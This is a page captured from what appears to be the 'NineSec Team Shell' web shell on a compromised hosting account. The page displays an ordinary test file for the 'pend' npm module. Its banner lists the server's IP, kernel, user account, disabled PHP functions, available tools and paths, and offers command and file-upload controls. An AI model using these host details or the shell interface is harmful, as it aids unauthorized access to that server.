NineSec Team Shell
Server IP : 92.205.26.207  /  Your IP : 216.73.216.16
Web Server : Apache
System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64
User : zikryat ( 1002)
PHP Version : 8.3.23
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/zikryat/public_html/node_modules/http-parser-js/../pend/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/zikryat/public_html/node_modules/http-parser-js/../pend/test.js
var assert = require('assert');
var Pend = require('./');

var tests = [
  {
    name: "basic",
    fn: testBasic,
  },
  {
    name: "max",
    fn: testWithMax,
  },
  {
    name: "callback twice",
    fn: testCallbackTwice,
  },
  {
    name: "calling wait twice",
    fn: testCallingWaitTwice,
  },
  {
    name: "hold()",
    fn: testHoldFn,
  },
];
var testCount = tests.length;

doOneTest();

function doOneTest() {
  var test = tests.shift();
  if (!test) {
    console.log(testCount + " tests passed.");
    return;
  }
  process.stdout.write(test.name + "...");
  test.fn(function() {
    process.stdout.write("OK\n");
    doOneTest();
  });
}

function testBasic(cb) {
  var pend = new Pend();
  var results = [];
  pend.go(function(cb) {
    results.push(1);
    setTimeout(function() {
      results.push(3);
      cb();
    }, 500);
  });
  pend.go(function(cb) {
    results.push(2);
    setTimeout(function() {
      results.push(4);
      cb();
    }, 1000);
  });
  pend.wait(function(err) {
    assert.deepEqual(results, [1,2,3,4]);
    cb();
  });
  assert.deepEqual(results, [1, 2]);
}

function testWithMax(cb) {
  var pend = new Pend();
  var results = [];
  pend.max = 2;
  pend.go(function(cb) {
    results.push('a');
    setTimeout(function() {
      results.push(1);
      cb();
    }, 500);
  });
  pend.go(function(cb) {
    results.push('b');
    setTimeout(function() {
      results.push(1);
      cb();
    }, 500);
  });
  pend.go(function(cb) {
    results.push('c');
    setTimeout(function() {
      results.push(2);
      cb();
    }, 100);
  });
  pend.wait(function(err) {
    assert.deepEqual(results, ['a', 'b', 1, 'c', 1, 2]);
    cb();
  });
  assert.deepEqual(results, ['a', 'b']);
}

function testCallbackTwice(cb) {
  var pend = new Pend();
  pend.go(function(cb) {
    setTimeout(cb, 100);
  });
  pend.go(function(cb) {
    cb();
    assert.throws(cb, /callback called twice/);
  });
  pend.wait(cb);
}

function testCallingWaitTwice(cb) {
  var pend = new Pend();
  pend.go(function(cb) {
    setTimeout(cb, 100);
  });
  pend.wait(function() {
    pend.go(function(cb) {
      setTimeout(cb, 50);
    });
    pend.go(function(cb) {
      setTimeout(cb, 10);
    });
    pend.go(function(cb) {
      setTimeout(cb, 20);
    });
    pend.wait(cb);
  });
}

function testHoldFn(cb) {
  var pend = new Pend();
  setTimeout(pend.hold(), 100);
  pend.go(function(cb) {
    cb();
  });
  pend.wait(cb);
}

NineSec Team - 2022